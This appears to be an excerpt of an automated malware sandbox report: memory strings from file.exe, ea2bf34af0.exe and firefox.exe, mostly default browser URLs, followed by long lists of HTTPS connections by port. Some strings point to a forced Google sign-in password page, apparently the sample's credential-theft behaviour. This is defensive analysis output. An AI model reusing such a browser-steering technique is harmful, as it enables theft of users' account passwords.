Source: firefox.exe, 0000002E.00000002.3239382308.0000021BF7ADF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000003.3119101392.0000021C03B40000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.avito.ru/
Source: firefox.exe, 0000002E.00000002.3239382308.0000021BF7ADF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.baidu.com/
Source: firefox.exe, 0000002E.00000003.3119101392.0000021C03B40000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.bbc.co.uk/
Source: firefox.exe, 0000002E.00000002.3239382308.0000021BF7ADF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ctrip.com/
Source: firefox.exe, 0000002E.00000003.3119101392.0000021C03B40000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ebay.de/
Source: file.exe, 00000000.00000003.2339084293.00000000016AA000.00000004.00000020.00020000.00000000.sdmp, ea2bf34af0.exe, 0000001D.00000003.2939393604.00000000054F7000.00000004.00000800.00020000.00000000.sdmp, ea2bf34af0.exe, 0000001D.00000003.2939893800.00000000054F7000.00000004.00000800.00020000.00000000.sdmp, ea2bf34af0.exe, 0000001D.00000003.2939236629.00000000054F9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: firefox.exe, 0000002E.00000002.3243491078.0000021BF8840000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/
Source: firefox.exe, 0000002E.00000003.3120865202.0000021C03767000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/complete/
Source: firefox.exe, 0000002E.00000003.3119101392.0000021C03B5A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000003.3096077006.0000021C03A5B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3239382308.0000021BF7ADF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/complete/search
Source: firefox.exe, 0000002E.00000002.3239382308.0000021BF7A72000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000003.3045980898.0000021BFB431000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000003.3046614204.0000021BFB452000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3268191781.0000021BFB770000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002E.00000003.3044325628.0000021BFB40F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/complete/search?client=firefox&q=
Source: file.exe, 00000000.00000003.2339084293.00000000016AA000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2425769907.000000002390D000.00000004.00000020.00020000.00000000.sdmp, ea2bf34af0.exe, 0000001D.00000003.2960286063.00000000054FD000.00000004.00000800.00020000.00000000.sdmp, ea2bf34af0.exe, 0000001D.00000003.2939393604.00000000054F7000.00000004.00000800.00020000.00000000.sdmp, ea2bf34af0.exe, 0000001D.00000003.2960154182.0000000005505000.00000004.00000800.00020000.00000000.sdmp, ea2bf34af0.exe, 0000001D.00000003.2939893800.00000000054F7000.00000004.00000800.00020000.00000000.sdmp, ea2bf34af0.exe, 0000001D.00000003.2939236629.00000000054F9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: firefox.exe, 0000002E.00000002.3239382308.0000021BF7A03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/policies/privacy/
Source: firefox.exe, 0000002E.00000002.3240509854.0000021BF7D00000.00000002.00000001.00040000.00000018.sdmp	String found in binary or memory: https://www.google.com/policies/privacy/2
Source: firefox.exe, 0000002E.00000002.3239382308.0000021BF7A03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/policies/privacy/mozIGeckoMediaPluginChromeService
Source: firefox.exe, 0000002E.00000002.3239382308.0000021BF7A03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3324044992.0000021BFD215000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3269411057.0000021BFB9C8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000003.3044325628.0000021BFB40F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search
Source: firefox.exe, 0000002E.00000003.3109677092.0000021C03C70000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3324044992.0000021BFD215000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3324044992.0000021BFD269000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search?client=firefox-b-d&q=
Source: firefox.exe, 0000002E.00000002.3239382308.0000021BF7A72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/searchINHIBIT_PERSISTENT_CACHINGLOAD_RECORD_START_REQUEST_DELAYflippedInherit
Source: firefox.exe, 0000002E.00000002.3256957836.0000021BF9900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/geolocation/v1/geolocate?key=%GOOGLE_LOCATION_SERVICE_API_KEY%
Source: firefox.exe, 0000002E.00000002.3239382308.0000021BF7ADF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000003.3119101392.0000021C03B40000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ifeng.com/
Source: firefox.exe, 0000002E.00000002.3239382308.0000021BF7ADF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000003.3119101392.0000021C03B40000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.iqiyi.com/
Source: firefox.exe, 0000002E.00000003.3119101392.0000021C03B40000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3324044992.0000021BFD215000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.leboncoin.fr/
Source: ea2bf34af0.exe, 0000001D.00000003.2985680313.0000000005553000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.or
Source: ea2bf34af0.exe, 0000001D.00000003.2985680313.0000000005553000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3243491078.0000021BF8840000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000003.3120380781.0000021C038E8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3240509854.0000021BF7D00000.00000002.00000001.00040000.00000018.sdmp, firefox.exe, 0000002E.00000002.3209310960.000000D687F7B000.00000004.00000010.00020000.00000000.sdmp, firefox.exe, 0000002E.00000003.3120865202.0000021C037DB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org
Source: firefox.exe, 0000002E.00000002.3313050982.0000021BFCE76000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/
Source: firefox.exe, 0000002E.00000002.3256957836.0000021BF9900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/about/legal/terms/subscription-services/
Source: firefox.exe, 0000002E.00000002.3256957836.0000021BF9900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/%VERSION%/releasenotes/?utm_source=firefox-browser&utm_medi
Source: firefox.exe, 0000002E.00000002.3256957836.0000021BF9900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/%VERSION%/tour/
Source: firefox.exe, 0000002E.00000002.3256957836.0000021BF9900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/geolocation/
Source: firefox.exe, 0000002E.00000002.3256957836.0000021BF9900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/new?reason=manual-update
Source: firefox.exe, 0000002E.00000002.3256957836.0000021BF9900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/notes
Source: firefox.exe, 0000002E.00000002.3256957836.0000021BF9900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/set-as-default/thanks/
Source: firefox.exe, 0000002E.00000002.3256957836.0000021BF9900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/xr/
Source: firefox.exe, 0000002E.00000002.3256957836.0000021BF9900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/privacy/subscription-services/
Source: file.exe, 00000000.00000002.2618383963.0000000000924000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: file.exe, 00000000.00000002.2618383963.0000000000924000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/DGHCBGCAAKEH
Source: firefox.exe, 0000002E.00000002.3272696566.0000021BFC0CD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.bwSC1pmG_zle
Source: firefox.exe, 0000002E.00000003.3104654235.0000021BFCB5E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000003.3105450415.0000021BFCB74000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3324044992.0000021BFD269000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/legal/terms/mozilla/
Source: file.exe, 00000000.00000002.2618383963.0000000000924000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/t.exe
Source: file.exe, 00000000.00000002.2618383963.0000000000A07000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2618383963.0000000000924000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: file.exe, 00000000.00000002.2618383963.0000000000A07000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/W1sYnpxLnB3ZA==
Source: firefox.exe, 0000002E.00000002.3272696566.0000021BFC0CD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.hjKdHaZH-dbQ
Source: firefox.exe, 0000002E.00000002.3272696566.0000021BFC0CD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: firefox.exe, 0000002E.00000002.3256957836.0000021BF9900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/android/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_c
Source: firefox.exe, 0000002E.00000002.3256957836.0000021BF9900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/ios/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_campa
Source: firefox.exe, 0000002E.00000002.3324044992.0000021BFD285000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3324044992.0000021BFD269000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/mobile/get-app/?utm_medium=firefox-desktop&utm_source=onboarding-mod
Source: firefox.exe, 0000002E.00000002.3240509854.0000021BF7D00000.00000002.00000001.00040000.00000018.sdmp, firefox.exe, 0000002E.00000002.3324044992.0000021BFD215000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/new/
Source: firefox.exe, 0000002E.00000002.3324044992.0000021BFD215000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/new/resource://gre/modules/KeywordUtils.sys.mjsresource://gre/module
Source: firefox.exe, 0000002E.00000002.3256957836.0000021BF9900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/legal/privacy/firefox.html
Source: firefox.exe, 0000002E.00000002.3256957836.0000021BF9900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/legal/privacy/firefox.html#crash-reporter
Source: firefox.exe, 0000002E.00000002.3256957836.0000021BF9900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/legal/privacy/firefox.html#health-report
Source: firefox.exe, 0000002E.00000002.3233192391.0000021BF6C5C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3324044992.0000021BFD215000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: firefox.exe, 0000002E.00000002.3243491078.0000021BF8806000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3233192391.0000021BF6C43000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3324044992.0000021BFD215000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/#suggest-relevant-content
Source: firefox.exe, 0000002E.00000002.3256957836.0000021BF9900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_c
Source: firefox.exe, 0000002E.00000002.3209310960.000000D687F7B000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.orgo
Source: firefox.exe, 0000002E.00000002.3316090573.0000021BFCF9D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3324044992.0000021BFD215000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com
Source: firefox.exe, 0000002E.00000002.3243491078.0000021BF8840000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000003.3119101392.0000021C03B40000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.olx.pl/
Source: firefox.exe, 0000002E.00000002.3239382308.0000021BF7AAF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3234257561.0000021BF6DC2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3239382308.0000021BF7A03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.openh264.org/
Source: firefox.exe, 0000002E.00000002.3240509854.0000021BF7D00000.00000002.00000001.00040000.00000018.sdmp	String found in binary or memory: https://www.openh264.org//
Source: firefox.exe, 0000002E.00000002.3325030871.0000021BFD369000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.reddit.com/
Source: file.exe, 00000000.00000002.2647399127.0000000023962000.00000004.00000020.00020000.00000000.sdmp, ea2bf34af0.exe, 0000001D.00000003.3001244145.00000000054BD000.00000004.00000800.00020000.00000000.sdmp, ea2bf34af0.exe, 0000001D.00000003.3001314364.00000000054C7000.00000004.00000800.00020000.00000000.sdmp, ea2bf34af0.exe, 0000001D.00000003.3000616148.00000000054B8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3243491078.0000021BF8840000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3243491078.0000021BF8806000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3233192391.0000021BF6CAD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3233192391.0000021BF6C43000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.t-mobile.com/cell-phones/brand/apple?cmpid=MGPO_PAM_P_EVGRNIPHN_
Source: firefox.exe, 0000002E.00000002.3239382308.0000021BF7A03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.widevine.com/
Source: firefox.exe, 0000002E.00000002.3240509854.0000021BF7D00000.00000002.00000001.00040000.00000018.sdmp	String found in binary or memory: https://www.widevine.com/3
Source: firefox.exe, 0000002E.00000003.3119101392.0000021C03B40000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.wykop.pl/
Source: firefox.exe, 0000002E.00000002.3239382308.0000021BF7ADF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/
Source: firefox.exe, 0000002E.00000002.3239382308.0000021BF7ADF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.zhihu.com/
Source: firefox.exe, 0000002E.00000002.3312773328.0000021BFCC90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://xhr.spec.whatwg.org/#sync-warningThe
Source: firefox.exe, 0000002E.00000002.3240509854.0000021BF7D00000.00000002.00000001.00040000.00000018.sdmp	String found in binary or memory: https://yandex.com
Source: firefox.exe, 0000002E.00000002.3331255937.0000021BFD82B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000003.3101774257.0000021BFCEDB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3249402513.0000021BF986E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3249402513.0000021BF9852000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3233192391.0000021BF6C26000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com
Source: firefox.exe, 0000002E.00000002.3269411057.0000021BFB9E2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3233192391.0000021BF6C26000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/
Source: firefox.exe, 0000002E.00000002.3324044992.0000021BFD215000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account
Source: firefox.exe, 0000002E.00000002.3220008582.0000021BED116000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.co)3
Source: firefox.exe, 0000002E.00000002.3324044992.0000021BFD215000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3234257561.0000021BF6DF2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3218516266.0000021BEB511000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3324044992.0000021BFD269000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3216637642.0000021BEB320000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3267858385.0000021BFB691000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000003.3120380781.0000021C038F4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd
Source: firefox.exe, 0000002C.00000002.3024723027.0000027AB8A27000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000002D.00000002.3037792098.000001A89ED81000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3216086364.0000021BEB199000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd--no-default-browser
Source: firefox.exe, 0000002E.00000002.3220008582.0000021BED0E9000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3260226135.0000021BFAF62000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdMOZ_CRASHREPORTER_RE
Source: firefox.exe, 0000002E.00000002.3324044992.0000021BFD215000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdmoz-extension://6edd
Source: firefox.exe, 0000002E.00000002.3216086364.0000021BEB199000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdz
Source: firefox.exe, 0000002E.00000002.3324044992.0000021BFD215000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account_getBoundsWithoutFlushingeNewlinesReplaceWithSpacesopenPopup/openPopupPro

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 64857 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49985
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49984
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49983
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49982
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49981
Source: unknown	Network traffic detected: HTTP traffic on port 64811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49980
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49979
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49978
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49977
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49976
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49975
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49974
Source: unknown	Network traffic detected: HTTP traffic on port 50085 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49973
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49972
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49971
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49970
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64909
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 64743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64908
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 64903 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64903
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64902
Source: unknown	Network traffic detected: HTTP traffic on port 50004 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64905
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64904
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64907
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64906
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49969
Source: unknown	Network traffic detected: HTTP traffic on port 49978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49968
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49967
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49966
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49965
Source: unknown	Network traffic detected: HTTP traffic on port 64880 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49964
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49963
Source: unknown	Network traffic detected: HTTP traffic on port 50634 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49962
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49961
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49960
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50108 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 64845 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50073 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50028 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64915
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49959
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49958
Source: unknown	Network traffic detected: HTTP traffic on port 64755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49957
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49956
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49955
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64910
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49954
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49953
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49952
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49951
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49950
Source: unknown	Network traffic detected: HTTP traffic on port 64879 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49944 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50051 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49949
Source: unknown	Network traffic detected: HTTP traffic on port 64718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49948
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49947
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49946
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49945
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49944
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49943
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 50061 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 49922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49968 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50026 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 50610 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 50095 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 64867 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 50038 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
